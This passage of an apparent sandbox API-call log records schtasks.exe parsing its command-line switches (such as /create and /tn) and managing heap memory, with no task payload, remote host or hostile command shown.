_ArgList=0xff438 | out: _Buffer="|f|") returned 3 [0133.935] lstrlenW (lpString="|query|") returned 7 [0133.935] lstrlenW (lpString="|f|") returned 3 [0133.936] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0133.936] SetLastError (dwErrCode=0x490) [0133.936] lstrlenW (lpString="change") returned 6 [0133.936] lstrlenW (lpString="change") returned 6 [0133.936] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.936] lstrlenW (lpString="f") returned 1 [0133.936] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.936] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|change|") returned 8 [0133.936] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|f|") returned 3 [0133.936] lstrlenW (lpString="|change|") returned 8 [0133.936] lstrlenW (lpString="|f|") returned 3 [0133.936] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0133.936] SetLastError (dwErrCode=0x490) [0133.936] lstrlenW (lpString="run") returned 3 [0133.936] lstrlenW (lpString="run") returned 3 [0133.936] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.936] lstrlenW (lpString="f") returned 1 [0133.936] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.936] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|run|") returned 5 [0133.936] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|f|") returned 3 [0133.936] lstrlenW (lpString="|run|") returned 5 [0133.936] lstrlenW (lpString="|f|") returned 3 [0133.936] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0133.936] SetLastError (dwErrCode=0x490) [0133.936] lstrlenW (lpString="end") returned 3 [0133.936] lstrlenW (lpString="end") returned 3 [0133.936] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.936] lstrlenW (lpString="f") returned 1 [0133.936] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.937] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|end|") returned 5 [0133.937] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|f|") returned 3 [0133.937] lstrlenW (lpString="|end|") returned 5 [0133.937] lstrlenW (lpString="|f|") returned 3 [0133.937] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0133.937] SetLastError (dwErrCode=0x490) [0133.937] lstrlenW (lpString="showsid") returned 7 [0133.937] lstrlenW (lpString="showsid") returned 7 [0133.937] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.937] lstrlenW (lpString="f") returned 1 [0133.937] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.937] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|showsid|") returned 9 [0133.937] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|f|") returned 3 [0133.937] lstrlenW (lpString="|showsid|") returned 9 [0133.937] lstrlenW (lpString="|f|") returned 3 [0133.937] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0133.937] SetLastError (dwErrCode=0x490) [0133.937] SetLastError (dwErrCode=0x490) [0133.937] SetLastError (dwErrCode=0x0) [0133.937] lstrlenW (lpString="/f") returned 2 [0133.937] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0133.937] SetLastError (dwErrCode=0x490) [0133.937] SetLastError (dwErrCode=0x0) [0133.937] lstrlenW (lpString="/f") returned 2 [0133.937] GetProcessHeap () returned 0x150000 [0133.937] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x6) returned 0x16dcc0 [0133.937] GetProcessHeap () returned 0x150000 [0133.937] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cd20 [0133.937] SetLastError (dwErrCode=0x0) [0133.937] GetProcessHeap () returned 0x150000 [0133.937] GetProcessHeap () returned 0x150000 [0133.937] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c190) returned 1 [0133.937] GetProcessHeap () returned 0x150000 [0133.937] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c190) returned 0x8 [0133.937] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c190 | out: hHeap=0x150000) returned 1 [0133.937] GetProcessHeap () returned 0x150000 [0133.938] GetProcessHeap () returned 0x150000 [0133.938] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cba0) returned 1 [0133.938] GetProcessHeap () returned 0x150000 [0133.938] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cba0) returned 0x20 [0133.938] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cba0 | out: hHeap=0x150000) returned 1 [0133.938] GetProcessHeap () returned 0x150000 [0133.938] GetProcessHeap () returned 0x150000 [0133.938] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d490) returned 1 [0133.938] GetProcessHeap () returned 0x150000 [0133.938] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d490) returned 0xa [0133.938] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d490 | out: hHeap=0x150000) returned 1 [0133.938] GetProcessHeap () returned 0x150000 [0133.938] GetProcessHeap () returned 0x150000 [0133.938] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cbd0) returned 1 [0133.938] GetProcessHeap () returned 0x150000 [0133.938] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cbd0) returned 0x20 [0133.939] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cbd0 | out: hHeap=0x150000) returned 1 [0133.939] GetProcessHeap () returned 0x150000 [0133.939] GetProcessHeap () returned 0x150000 [0133.939] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dc60) returned 1 [0133.939] GetProcessHeap () returned 0x150000 [0133.939] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dc60) returned 0x8 [0133.939] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dc60 | out: hHeap=0x150000) returned 1 [0133.939] GetProcessHeap () returned 0x150000 [0133.939] GetProcessHeap () returned 0x150000 [0133.939] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc00) returned 1 [0133.939] GetProcessHeap () returned 0x150000 [0133.939] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc00) returned 0x20 [0133.940] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc00 | out: hHeap=0x150000) returned 1 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4b0) returned 1 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d4b0) returned 0x10 [0133.940] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4b0 | out: hHeap=0x150000) returned 1 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc30) returned 1 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc30) returned 0x20 [0133.940] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc30 | out: hHeap=0x150000) returned 1 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dc80) returned 1 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dc80) returned 0x8 [0133.940] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dc80 | out: hHeap=0x150000) returned 1 [0133.940] GetProcessHeap () returned 0x150000 [0133.940] GetProcessHeap () returned 0x150000 [0133.941] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc60) returned 1 [0133.941] GetProcessHeap () returned 0x150000 [0133.941] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc60) returned 0x20 [0133.941] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc60 | out: hHeap=0x150000) returned 1 [0133.941] GetProcessHeap () returned 0x150000 [0133.941] GetProcessHeap () returned 0x150000 [0133.941] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x167aa0) returned 1 [0133.941] GetProcessHeap () returned 0x150000 [0133.941] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x167aa0) returned 0x32 [0133.941] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x167aa0 | out: hHeap=0x150000) returned 1 [0133.941] GetProcessHeap () returned 0x150000 [0133.941] GetProcessHeap () returned 0x150000 [0133.941] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc90) returned 1 [0133.941] GetProcessHeap () returned 0x150000 [0133.941] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc90) returned 0x20 [0133.942] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc90 | out: hHeap=0x150000) returned 1 [0133.942] GetProcessHeap () returned 0x150000 [0133.942] GetProcessHeap () returned 0x150000 [0133.942] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dca0) returned 1 [0133.942] GetProcessHeap () returned 0x150000 [0133.942] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dca0) returned 0x8 [0133.942] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dca0 | out: hHeap=0x150000) returned 1 [0133.942] GetProcessHeap () returned 0x150000 [0133.942] GetProcessHeap () returned 0x150000 [0133.942] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccc0) returned 1 [0133.942] GetProcessHeap () returned 0x150000 [0133.942] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ccc0) returned 0x20 [0133.942] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccc0 | out: hHeap=0x150000) returned 1 [0133.942] GetProcessHeap () returned 0x150000 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d530) returned 1 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d530) returned 0x10 [0133.943] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d530 | out: hHeap=0x150000) returned 1 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccf0) returned 1 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ccf0) returned 0x20 [0133.943] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccf0 | out: hHeap=0x150000) returned 1 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dcc0) returned 1 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dcc0) returned 0x6 [0133.943] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dcc0 | out: hHeap=0x150000) returned 1 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd20) returned 1 [0133.943] GetProcessHeap () returned 0x150000 [0133.943] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cd20) returned 0x20 [0133.944] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd20 | out: hHeap=0x150000) returned 1 [0133.944] GetProcessHeap () returned 0x150000 [0133.944] GetProcessHeap () returned 0x150000 [0133.944] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b960) returned 1 [0133.944] GetProcessHeap () returned 0x150000 [0133.944] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b960) returned 0x18 [0133.944] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b960 | out: hHeap=0x150000) returned 1 [0133.944] SetLastError (dwErrCode=0x0) [0133.944] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0133.944] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0133.944] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0133.944] VerifyVersionInfoW (in: lpVersionInformation=0xfc490, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xfc490) returned 1 [0133.945] SetLastError (dwErrCode=0x0) [0133.945] lstrlenW (lpString="create") returned 6 [0133.945] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0133.945] SetLastError (dwErrCode=0x490) [0133.945] SetLastError (dwErrCode=0x0) [0133.945] lstrlenW (lpString="create") returned 6 [0133.945] GetProcessHeap () returned 0x150000 [0133.945] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cd20 [0133.945] GetProcessHeap () returned 0x150000 [0133.945] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16d530 [0133.945] _memicmp (_Buf1=0x16d530, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.945] GetProcessHeap () returned 0x150000 [0133.945] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x16) returned 0x16d4b0 [0133.945] SetLastError (dwErrCode=0x0) [0133.945] _memicmp (_Buf1=0x16ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.945] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x16bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0133.945] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0133.946] GetProcessHeap () returned 0x150000 [0133.946] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x74e) returned 0x16dc60 [0133.946] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x16dc60 | out: lpData=0x16dc60) returned 1 [0133.946] VerQueryValueW (in: pBlock=0x16dc60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xfc578, puLen=0xfc5e0 | out: lplpBuffer=0xfc578*=0x16dffc, puLen=0xfc5e0) returned 1 [0133.946] _memicmp (_Buf1=0x16ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.946] _vsnwprintf (in: _Buffer=0x16bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xfc558 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0133.946] VerQueryValueW (in: pBlock=0x16dc60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xfc5e8, puLen=0xfc5d8 | out: lplpBuffer=0xfc5e8*=0x16de28, puLen=0xfc5d8) returned 1 [0133.946] lstrlenW (lpString="schtasks.exe") returned 12 [0133.946] lstrlenW (lpString="schtasks.exe") returned 12 [0133.946] lstrlenW (lpString=".EXE") returned 4 [0133.946] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0133.946] lstrlenW (lpString="schtasks.exe") returned 12 [0133.946] lstrlenW (lpString=".EXE") returned 4 [0133.946] lstrlenW (lpString="schtasks") returned 8 [0133.946] lstrlenW (lpString="/create") returned 7 [0133.947] _memicmp (_Buf1=0x16ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.947] _vsnwprintf (in: _Buffer=0x16bbc0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xfc558 | out: _Buffer="schtasks /create") returned 16 [0133.947] _memicmp (_Buf1=0x16ba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.947] GetProcessHeap () returned 0x150000 [0133.947] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ccf0 [0133.947] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.947] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0133.947] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0133.947] GetProcessHeap () returned 0x150000 [0133.947] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x30) returned 0x167aa0 [0133.947] _vsnwprintf (in: _Buffer=0x16bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xfc558 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0133.947] GetProcessHeap () returned 0x150000 [0133.947] GetProcessHeap () returned 0x150000 [0133.947] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dc60) returned 1 [0133.947] GetProcessHeap () returned 0x150000 [0133.947] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dc60) returned 0x74e [0133.947] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dc60 | out: hHeap=0x150000) returned 1 [0133.948] SetLastError (dwErrCode=0x0) [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="create") returned 6 [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="?") returned 1 [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="s") returned 1 [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="u") returned 1 [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="p") returned 1 [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="ru") returned 2 [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="rp") returned 2 [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="sc") returned 2 [0133.948] GetThreadLocale () returned 0x409 [0133.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.948] lstrlenW (lpString="mo") returned 2 [0133.948] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="d") returned 1 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="m") returned 1 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="i") returned 1 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="tn") returned 2 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="tr") returned 2 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="st") returned 2 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="sd") returned 2 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="ed") returned 2 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="it") returned 2 [0133.949] GetThreadLocale () returned 0x409 [0133.949] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.949] lstrlenW (lpString="et") returned 2 [0133.949] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="k") returned 1 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="du") returned 2 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="ri") returned 2 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="z") returned 1 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="f") returned 1 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="v1") returned 2 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="xml") returned 3 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="ec") returned 2 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="rl") returned 2 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.950] lstrlenW (lpString="delay") returned 5 [0133.950] GetThreadLocale () returned 0x409 [0133.950] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.951] lstrlenW (lpString="np") returned 2 [0133.951] SetLastError (dwErrCode=0x0) [0133.951] SetLastError (dwErrCode=0x0) [0133.951] lstrlenW (lpString="/create") returned 7 [0133.951] lstrlenW (lpString="-/") returned 2 [0133.951] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.951] lstrlenW (lpString="create") returned 6 [0133.951] lstrlenW (lpString="create") returned 6 [0133.951] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.951] lstrlenW (lpString="create") returned 6 [0133.951] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.951] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|create|") returned 8 [0133.951] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|create|") returned 8 [0133.951] lstrlenW (lpString="|create|") returned 8 [0133.951] lstrlenW (lpString="|create|") returned 8 [0133.951] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0133.951] SetLastError (dwErrCode=0x0) [0133.951] SetLastError (dwErrCode=0x0) [0133.951] SetLastError (dwErrCode=0x0) [0133.951] lstrlenW (lpString="/tn") returned 3 [0133.951] lstrlenW (lpString="-/") returned 2 [0133.951] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.951] lstrlenW (lpString="create") returned 6 [0133.951] lstrlenW (lpString="create") returned 6 [0133.951] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.951] lstrlenW (lpString="tn") returned 2 [0133.951] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.952] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|create|") returned 8 [0133.952] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.952] lstrlenW (lpString="|create|") returned 8 [0133.952] lstrlenW (lpString="|tn|") returned 4 [0133.952] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0133.952] SetLastError (dwErrCode=0x490) [0133.952] lstrlenW (lpString="?") returned 1 [0133.952] lstrlenW (lpString="?") returned 1 [0133.952] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.952] lstrlenW (lpString="tn") returned 2 [0133.952] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.952] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|?|") returned 3 [0133.952] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.952] lstrlenW (lpString="|?|") returned 3 [0133.952] lstrlenW (lpString="|tn|") returned 4 [0133.952] SetLastError (dwErrCode=0x490) [0133.952] lstrlenW (lpString="s") returned 1 [0133.952] 